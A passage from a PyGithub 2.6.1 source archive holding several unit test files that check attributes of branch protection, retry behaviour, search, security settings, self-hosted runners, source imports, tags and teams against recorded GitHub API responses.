<6035284+Borda@users.noreply.github.com> # # Copyright 2024 Benjamin K <53038537+treee111@users.noreply.github.com> # # Copyright 2024 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from . import Framework class RequiredPullRequestReviews(Framework.TestCase): def setUp(self): super().setUp() self.required_pull_request_reviews = ( self.g.get_user().get_repo("PyGithub").get_branch("integrations").get_required_pull_request_reviews() ) def testAttributes(self): self.assertTrue(self.required_pull_request_reviews.dismiss_stale_reviews) self.assertTrue(self.required_pull_request_reviews.require_code_owner_reviews) self.assertIsNone(self.required_pull_request_reviews.require_last_push_approval) self.assertEqual(self.required_pull_request_reviews.required_approving_review_count, 3) self.assertEqual( self.required_pull_request_reviews.url, "https://api.github.com/repos/jacquev6/PyGithub/branches/integrations/protection/required_pull_request_reviews", ) self.assertIs(self.required_pull_request_reviews.dismissal_users, None) self.assertIs(self.required_pull_request_reviews.dismissal_teams, None) self.assertEqual( self.required_pull_request_reviews.__repr__(), 'RequiredPullRequestReviews(url="https://api.github.com/repos/jacquev6/PyGithub/branches/integrations/protection/required_pull_request_reviews", require_last_push_approval=None, require_code_owner_reviews=True, dismiss_stale_reviews=True)', ) def testOrganizationOwnedTeam(self): required_pull_request_reviews = ( self.g.get_repo("PyGithub/PyGithub", lazy=True) .get_branch("integrations") .get_required_pull_request_reviews() ) self.assertListKeyEqual( required_pull_request_reviews.dismissal_users, lambda u: u.login, ["jacquev6"], ) self.assertListKeyEqual( required_pull_request_reviews.dismissal_teams, lambda t: t.slug, ["pygithub-owners"], ) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/RequiredStatusChecks.py0000644000175100001660000000722314756101563020613 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2017 Nicolas Agustín Torres # # Copyright 2018 Steve Kowalik # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from . import Framework class RequiredStatusChecks(Framework.TestCase): def setUp(self): super().setUp() self.required_status_checks = ( self.g.get_user().get_repo("PyGithub").get_branch("integrations").get_required_status_checks() ) def testAttributes(self): self.assertTrue(self.required_status_checks.strict) self.assertEqual(self.required_status_checks.contexts, ["foo/bar"]) self.assertEqual( self.required_status_checks.url, "https://api.github.com/repos/jacquev6/PyGithub/branches/integrations/protection/required_status_checks", ) self.assertEqual( self.required_status_checks.__repr__(), 'RequiredStatusChecks(url="https://api.github.com/repos/jacquev6/PyGithub/branches/integrations/protection/required_status_checks", strict=True)', ) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/Retry.py0000644000175100001660000001115114756101563015606 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2018 Justin Kufro # # Copyright 2019 Isac Souza # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Liuyang Wan # # Copyright 2020 Steve Kowalik # # Copyright 2021 Amador Pahim # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # Copyright 2025 Maja Massarini <2678400+majamassarini@users.noreply.github.com># # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ import requests import responses import urllib3 import github from . import Framework REPO_NAME = "PyGithub/PyGithub" class Retry(Framework.TestCase): def setUp(self): # status codes returned on random github server errors status_forcelist = (500, 502, 504) retry = urllib3.Retry(total=3, read=3, connect=3, status_forcelist=status_forcelist) Framework.enableRetry(retry) super().setUp() def testShouldNotRetryWhenStatusNotOnList(self): with self.assertRaises(github.GithubException): self.g.get_repo(REPO_NAME) self.assertEqual(len(responses.calls), 1) def testReturnsRepoAfter3Retries(self): repository = self.g.get_repo(REPO_NAME) self.assertEqual(len(responses.calls), 4) for call in responses.calls: self.assertEqual(call.request.path_url, "/repos/" + REPO_NAME) self.assertIsInstance(repository, github.Repository.Repository) self.assertEqual(repository.full_name, REPO_NAME) def testReturnsRepoAfter1Retry(self): repository = self.g.get_repo(REPO_NAME) self.assertEqual(len(responses.calls), 2) for call in responses.calls: self.assertEqual(call.request.path_url, "/repos/" + REPO_NAME) self.assertIsInstance(repository, github.Repository.Repository) self.assertEqual(repository.full_name, REPO_NAME) def testRaisesRetryErrorAfterMaxRetries(self): with self.assertRaises(requests.exceptions.RetryError): self.g.get_repo("PyGithub/PyGithub") self.assertEqual(len(responses.calls), 4) for call in responses.calls: self.assertEqual(call.request.path_url, "/repos/PyGithub/PyGithub") def testReturnsRepoAfterSettingRetryHttp(self): g = github.Github( auth=self.login, base_url="http://my.enterprise.com", retry=0, ) # http here repository = g.get_repo(REPO_NAME) self.assertIsInstance(repository, github.Repository.Repository) self.assertEqual(repository.full_name, REPO_NAME) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/Search.py0000644000175100001660000003004014756101563015704 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 Agor Maxime # # Copyright 2018 Joel Koglin # # Copyright 2018 Shubham Singh <41840111+singh811@users.noreply.github.com> # # Copyright 2018 Steve Kowalik # # Copyright 2018 Wan Liuyang # # Copyright 2018 h.shi <10385628+AnYeMoWang@users.noreply.github.com> # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from . import Framework class Search(Framework.TestCase): def setUp(self): super().setUp() def testSearchUsers(self): users = self.g.search_users("vincent", sort="followers", order="desc") self.assertEqual(users.totalCount, 2781) def testPaginateSearchUsers(self): users = self.g.search_users("", location="Berlin") self.assertListKeyBegin( users, lambda u: u.login, [ "cloudhead", "felixge", "sferik", "rkh", "jezdez", "janl", "marijnh", "nikic", "igorw", "froschi", "svenfuchs", "omz", "chad", "bergie", "roidrage", "pcalcado", "durran", "hukl", "mttkay", "aFarkas", "ole", "hagenburger", "jberkel", "naderman", "joshk", "pudo", "robb", "josephwilk", "hanshuebner", "txus", "paulasmuth", "splitbrain", "langalex", "bendiken", "stefanw", ], ) self.assertEqual(users.totalCount, 6038) self.assertEqual(users[0].score, 1.0) def testGetPageOnSearchUsers(self): users = self.g.search_users("", location="Berlin") self.assertEqual( [u.login for u in users.get_page(7)], [ "ursachec", "bitboxer", "fs111", "michenriksen", "witsch", "booo", "mortice", "r0man", "MikeBild", "mhagger", "bkw", "fwbrasil", "mschneider", "lydiapintscher", "asksven", "iamtimm", "sneak", "kr1sp1n", "Feh", "GordonLesti", "annismckenzie", "eskimoblood", "tsujigiri", "riethmayer", "lauritzthamsen", "scotchi", "peritor", "toto", "hwaxxer", "lukaszklis", ], ) def testSearchRepos(self): repos = self.g.search_repositories("github", sort="stars", order="desc", language="Python") self.assertListKeyBegin( repos, lambda r: r.full_name, [ "kennethreitz/legit", "RuudBurger/CouchPotatoV1", "gelstudios/gitfiti", "gpjt/webgl-lessons", "jacquev6/PyGithub", "aaasen/github_globe", "hmason/gitmarks", "dnerdy/factory_boy", "binaryage/drydrop", "bgreenlee/sublime-github", "karan/HackerNewsAPI", "mfenniak/pyPdf", "skazhy/github-decorator", "llvmpy/llvmpy", "lexrupy/gmate", "ask/python-github2", "audreyr/cookiecutter-pypackage", "tabo/django-treebeard", "dbr/tvdb_api", "jchris/couchapp", "joeyespo/grip", "nigelsmall/py2neo", "ask/chishop", "sigmavirus24/github3.py", "jsmits/github-cli", "lincolnloop/django-layout", "amccloud/django-project-skel", "Stiivi/brewery", "webpy/webpy.github.com", "dustin/py-github", "logsol/Github-Auto-Deploy", "cloudkick/libcloud", "berkerpeksag/github-badge", "bitprophet/ssh", "azavea/OpenTreeMap", ], ) def testSearchReposWithNoResults(self): repos = self.g.search_repositories("doesnotexist") self.assertEqual(repos.totalCount, 0) def testSearchIssues(self): issues = self.g.search_issues("compile", sort="comments", order="desc", language="C++") self.assertListKeyBegin( issues, lambda i: i.id, [ 12068673, 23250111, 14371957, 9423897, 24277400, 2408877, 11338741, 13980502, 27697165, 23102422, ], ) self.assertEqual(issues[0].score, 0.08252439) def testSearchCommits(self): pages = self.g.search_commits(query="hash:5b0224e868cc9242c9450ef02efbe3097abd7ba2") commits = list(pages) self.assertEqual(pages.totalCount, 12) self.assertEqual(commits[0].commit.message, "Fix README instructions") self.assertEqual(commits[0].score, 1.0) self.assertEqual(commits[0].sha, "5b0224e868cc9242c9450ef02efbe3097abd7ba2") def testSearchCommitsOrder(self): pages = self.g.search_commits( query="hash:1265747e992ba7d34a469b6b2f527809f8bf7067", sort="author-date", order="asc", merge="false", ) commits = list(pages) self.assertEqual(pages.totalCount, 4) self.assertEqual(len(commits[0].commit.message), 490) self.assertEqual(commits[0].score, 1.0) self.assertEqual(commits[0].sha, "1265747e992ba7d34a469b6b2f527809f8bf7067") def testSearchTopics(self): topics = self.g.search_topics("python", repositories=">950") self.assertListKeyBegin( topics, lambda r: r.name, ["python", "django", "flask", "ruby", "scikit-learn", "wagtail"], ) def testPaginateSearchTopics(self): repos = self.g.search_topics("python", repositories=">950") self.assertEqual(repos.totalCount, 6) def testSearchCode(self): files = self.g.search_code("toto", sort="indexed", order="asc", user="jacquev6") self.assertListKeyEqual( files, lambda f: f.name, [ "Commit.setUp.txt", "PullRequest.testGetFiles.txt", "NamedUser.testGetEvents.txt", "PullRequest.testCreateComment.txt", "PullRequestFile.setUp.txt", "Repository.testGetIssuesWithWildcards.txt", "Repository.testGetIssuesWithArguments.txt", "test_ebnf.cpp", "test_abnf.cpp", "PullRequestFile.py", "SystemCalls.py", "tests.py", "LexerTestCase.py", "ParserTestCase.py", ], ) self.assertEqual(files[0].score, 0.31651077) self.assertEqual(files[0].repository.full_name, "jacquev6/PyGithub") content = files[0].decoded_content if isinstance(content, bytes): content = content.decode("utf-8") self.assertEqual(content[:30], "https\nGET\napi.github.com\nNone\n") def testSearchHighlightingCode(self): files = self.g.search_code("toto", sort="indexed", order="asc", user="jacquev6", highlight=True) self.assertEqual(files[0].score, 14.030813) self.assertEqual( files[0].text_matches, [ { "fragment": ".assertEqual(\n" " self.recorded.instance_method(42, 43, 44, 45, " "toto=46, tutu=47", "matches": [{"indices": [72, 76], "text": "toto"}], "object_type": "FileContent", "object_url": "https://api.github.com/repositories/6430524/contents/MockMockMock/tests/record_replay.py?ref=562a55542f55426f6853f3013309c85f402c359e", "property": "content", }, { "fragment": "),\n" " \"(42, 43, (44, 45), [('toto', 46), ('tutu', " '47)])"\n' " )\n" " self.assertEqual", "matches": [{"indices": [38, 42], "text": "toto"}], "object_type": "FileContent", "object_url": "https://api.github.com/repositories/6430524/contents/MockMockMock/tests/record_replay.py?ref=562a55542f55426f6853f3013309c85f402c359e", "property": "content", }, ], ) def testUrlquotingOfQualifiers(self): # Example taken from #236 issues = self.g.search_issues("repo:saltstack/salt-api type:Issues", updated=">2014-03-04T18:28:11Z") self.assertEqual(issues[0].id, 29138794) def testUrlquotingOfQuery(self): # Example taken from #236 issues = self.g.search_issues("repo:saltstack/salt-api type:Issues updated:>2014-03-04T18:28:11Z") self.assertEqual(issues[0].id, 29138794) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/SecurityAndAnalysis.py0000644000175100001660000001073114756101563020442 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 Steve Kowalik # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Steve Kowalik # # Copyright 2021 karsten-wagner <39054096+karsten-wagner@users.noreply.github.com># # Copyright 2023 Enrico Minack # # Copyright 2024 Caleb McCombs # # Copyright 2024 Enrico Minack # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from . import Framework class SecurityAndAnalysis(Framework.TestCase): def setUp(self): super().setUp() self.repo = self.g.get_repo("PyGithub/PyGithub") self.maxDiff = None def testAttributes(self): security_and_analysis = self.repo.security_and_analysis self.assertIsNone(security_and_analysis.advanced_security) self.assertEqual(security_and_analysis.dependabot_security_updates.status, "enabled") self.assertEqual(security_and_analysis.secret_scanning.status, "disabled") self.assertIsNone(security_and_analysis.secret_scanning_ai_detection) self.assertEqual(security_and_analysis.secret_scanning_push_protection.status, "disabled") self.assertEqual(security_and_analysis.secret_scanning_non_provider_patterns.status, "disabled") self.assertIsNone(security_and_analysis.secret_scanning_validity_checks) def testRepresentation(self): self.assertEqual( repr(self.repo.security_and_analysis), "SecurityAndAnalysis(" 'secret_scanning_validity_checks="None", ' 'secret_scanning_push_protection="SecurityAndAnalysisFeature(status="disabled")", ' 'secret_scanning_non_provider_patterns="SecurityAndAnalysisFeature(status="disabled")", ' 'secret_scanning="SecurityAndAnalysisFeature(status="disabled")", ' 'dependabot_security_updates="SecurityAndAnalysisFeature(status="enabled")", ' 'advanced_security="None")', ) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/SelfHostedActionsRunner.py0000644000175100001660000000760614756101563021266 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2020 Victor Zeng # # Copyright 2023 Enrico Minack # # Copyright 2023 Trim21 # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from . import Framework class SelfHostedActionsRunner(Framework.TestCase): def setUp(self): super().setUp() self.user = self.g.get_user("ReDASers") self.repo = self.user.get_repo("Phishing-Detection") def testAttributes(self): runner = self.repo.get_self_hosted_runner(2217) self.assertFalse(runner.busy) self.assertEqual(runner.id, 2217) self.assertEqual( runner.labels, [ {"id": 1, "name": "self-hosted", "type": "read-only"}, {"id": 3, "name": "X64", "type": "read-only"}, {"id": 4, "name": "Linux", "type": "read-only"}, ], ) self.assertEqual(runner.name, "4306125c7c84") self.assertEqual(runner.os, "linux") self.assertEqual(runner.name, "4306125c7c84") self.assertIsNone(runner.runner_group_id) self.assertEqual(runner.status, "offline") labels = runner.labels self.assertEqual(len(labels), 3) self.assertEqual(labels[0]["name"], "self-hosted") self.assertEqual(labels[1]["name"], "X64") self.assertEqual(labels[2]["name"], "Linux") ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/SourceImport.py0000644000175100001660000001272514756101563017144 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 Hayden Fuss # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from . import Framework class SourceImport(Framework.TestCase): def setUp(self): super().setUp() self.user = self.g.get_user("brix4dayz") self.repo = self.user.get_repo("source-import-test") self.source_import = self.repo.get_source_import() def testAttributes(self): self.assertEqual(self.source_import.authors_count, 1) self.assertEqual( self.source_import.authors_url, "https://api.github.com/repos/brix4dayz/source-import-test/import/authors", ) self.assertIsNone(self.source_import.commit_count) self.assertIsNone(self.source_import.error_message) self.assertIsNone(self.source_import.failed_step) self.assertEqual(self.source_import.has_large_files, False) self.assertEqual( self.source_import.html_url, "https://github.com/brix4dayz/source-import-test/import", ) self.assertIsNone(self.source_import.import_percent) self.assertEqual(self.source_import.large_files_count, 0) self.assertEqual(self.source_import.large_files_size, 0) self.assertIsNone(self.source_import.message) self.assertIsNone(self.source_import.project_choices) self.assertIsNone(self.source_import.push_percent) self.assertEqual( self.source_import.repository_url, "https://api.github.com/repos/brix4dayz/source-import-test", ) self.assertEqual(self.source_import.status, "complete") self.assertEqual(self.source_import.status_text, "Done") self.assertIsNone(self.source_import.svc_root) self.assertIsNone(self.source_import.svn_root) self.assertIsNone(self.source_import.tfvc_project) self.assertEqual( self.source_import.url, "https://api.github.com/repos/brix4dayz/source-import-test/import", ) self.assertEqual(self.source_import.use_lfs, "undecided") self.assertEqual(self.source_import.vcs, "mercurial") self.assertEqual(self.source_import.vcs_url, "https://bitbucket.org/hfuss/source-import-test") self.assertEqual( self.source_import.__repr__(), 'SourceImport(vcs_url="https://bitbucket.org/hfuss/source-import-test", url="https://api.github.com/repos/brix4dayz/source-import-test/import", status="complete", repository_url="https://api.github.com/repos/brix4dayz/source-import-test")', ) def testUpdate(self): # The real test is that update() method passes the header update_ret = self.source_import.update() self.assertTrue(update_ret) self.assertEqual(self.source_import.status, "complete") ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/Tag.py0000644000175100001660000000713314756101563015221 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from . import Framework class Tag(Framework.TestCase): def setUp(self): super().setUp() self.tag = self.g.get_repo("PyGithub/PyGithub").get_tags()[0] def testAttributes(self): self.assertEqual(self.tag.commit.sha, "19ddb9f4fd996e99a5010d271b3c2e76dd280fb5") self.assertEqual(self.tag.name, "v2.5.0") self.assertEqual(self.tag.node_id, "MDM6UmVmMzU0NDQ5MDpyZWZzL3RhZ3MvdjIuNS4w") self.assertEqual( self.tag.tarball_url, "https://api.github.com/repos/PyGithub/PyGithub/tarball/refs/tags/v2.5.0" ) self.assertEqual( self.tag.zipball_url, "https://api.github.com/repos/PyGithub/PyGithub/zipball/refs/tags/v2.5.0" ) self.assertEqual( repr(self.tag), 'Tag(name="v2.5.0", commit=Commit(sha="19ddb9f4fd996e99a5010d271b3c2e76dd280fb5"))', ) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/Team.py0000644000175100001660000002616314756101563015400 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2016 mattjmorrison # # Copyright 2018 Isuru Fernando # # Copyright 2018 Jacopo Notarstefano # # Copyright 2018 James D'Amato # # Copyright 2018 Steve Kowalik # # Copyright 2018 Tim Boring # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Adam Baratz # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Adrian Bridgett <58699309+tl-adrian-bridgett@users.noreply.github.com># # Copyright 2020 Andy Grunwald # # Copyright 2020 Gilad Shefer # # Copyright 2020 Steve Kowalik # # Copyright 2020 Tal Machani <12785464+talmachani@users.noreply.github.com> # # Copyright 2021 秋葉 # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2024 Andrii Kezikov # # Copyright 2024 Enrico Minack # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations import warnings from datetime import datetime, timezone from . import Framework class Team(Framework.TestCase): def setUp(self): super().setUp() self.org = self.g.get_organization("BeaverSoftware") self.team = self.org.get_team(12345678) def testAttributes(self): self.assertEqual(self.team.created_at, datetime(2024, 6, 18, 10, 27, 23, tzinfo=timezone.utc)) self.assertEqual(self.team.description, "a team") self.assertEqual(self.team.html_url, "https://github.com/orgs/BeaverSoftware/teams/team-slug") self.assertEqual(self.team.id, 12345678) self.assertIsNone(self.team.ldap_dn) self.assertEqual(self.team.members_count, 1) self.assertEqual( self.team.members_url, "https://api.github.com/organizations/1234567/team/12345678/members{/member}" ) self.assertEqual(self.team.name, "Team") self.assertEqual(self.team.node_id, "AbCdEfG") self.assertEqual(self.team.notification_setting, "notifications_disabled") self.assertEqual(self.team.organization.login, "BeaverSoftware") self.assertIsNone(self.team.parent) self.assertEqual(self.team.permission, "pull") self.assertIsNone(self.team.permissions) self.assertEqual(self.team.privacy, "closed") self.assertEqual(self.team.repos_count, 0) self.assertEqual(self.team.repositories_url, "https://api.github.com/organizations/1234567/team/12345678/repos") self.assertEqual(self.team.slug, "team-slug") self.assertEqual(self.team.updated_at, datetime(2024, 6, 18, 10, 27, 23, tzinfo=timezone.utc)) self.assertEqual(self.team.url, "https://api.github.com/organizations/1234567/team/12345678") self.assertEqual(self.team.organization, self.org) self.assertEqual(self.team.privacy, "closed") self.assertEqual(self.team.parent, None) self.assertEqual(repr(self.team), 'Team(name="Team", id=12345678)') self.assertEqual(self.team.html_url, "https://github.com/orgs/BeaverSoftware/teams/team-slug") def testDiscussions(self): discussions = list(self.team.get_discussions()) self.assertEqual(len(discussions), 1) d = discussions[0] self.assertEqual(d.author.login, "jacquev6") self.assertEqual(d.body, "BODY") self.assertEqual(d.body_html, "

BODY

") self.assertEqual(d.body_version, "bedf0740b01d2d758cff9873c2387817") self.assertEqual(d.comments_count, 0) self.assertEqual( d.comments_url, "https://api.github.com/organizations/1234567/team/12345678/discussions/1/comments" ) self.assertEqual(d.created_at, datetime(2019, 10, 8, 21, 3, 36, tzinfo=timezone.utc)) self.assertEqual( d.html_url, "https://github.com/orgs/BeaverSoftware/teams/Team/discussions/1", ) self.assertEqual(d.last_edited_at, None) self.assertEqual(d.node_id, "MDE0OlRlYW1EaXNjdXNzaW9uMzA=") self.assertEqual(d.number, 1) self.assertEqual(d.pinned, True) self.assertEqual(d.private, False) self.assertEqual(d.team_url, "https://api.github.com/organizations/1234567/team/12345678") self.assertEqual(d.title, "TITLE") self.assertEqual(d.updated_at, datetime(2019, 10, 8, 21, 3, 36, tzinfo=timezone.utc)) self.assertEqual(d.url, "https://api.github.com/organizations/1234567/team/12345678/discussions/1") self.assertEqual(repr(d), 'TeamDiscussion(title="TITLE", number=1)') def testMembers(self): user = self.g.get_user("jacquev6") self.assertListKeyEqual(self.team.get_members(), None, []) self.assertFalse(self.team.has_in_members(user)) self.team.add_to_members(user) self.assertListKeyEqual(self.team.get_members(), lambda u: u.login, ["jacquev6"]) self.assertTrue(self.team.has_in_members(user)) self.team.remove_from_members(user) self.assertListKeyEqual(self.team.get_members(), None, []) self.assertFalse(self.team.has_in_members(user)) self.team.add_membership(user, "maintainer") self.assertRaises(AssertionError, self.team.add_membership, user, "admin") self.team.remove_membership(user) def testTeamMembership(self): user = self.g.get_user("jacquev6") self.assertEqual(list(self.team.get_members()), []) self.assertFalse(self.team.has_in_members(user)) self.team.add_membership(user) self.assertListKeyEqual(self.team.get_members(), lambda u: u.login, ["jacquev6"]) self.assertTrue(self.team.has_in_members(user)) membership_data = self.team.get_team_membership(user) self.assertEqual(membership_data.user.login, "jacquev6") self.assertEqual(membership_data.role, "member") self.assertEqual(membership_data.organization.login, "BeaverSoftware") def testRepoPermission(self): repo = self.org.get_repo("FatherBeaver") # Ignore the warning since this method is deprecated 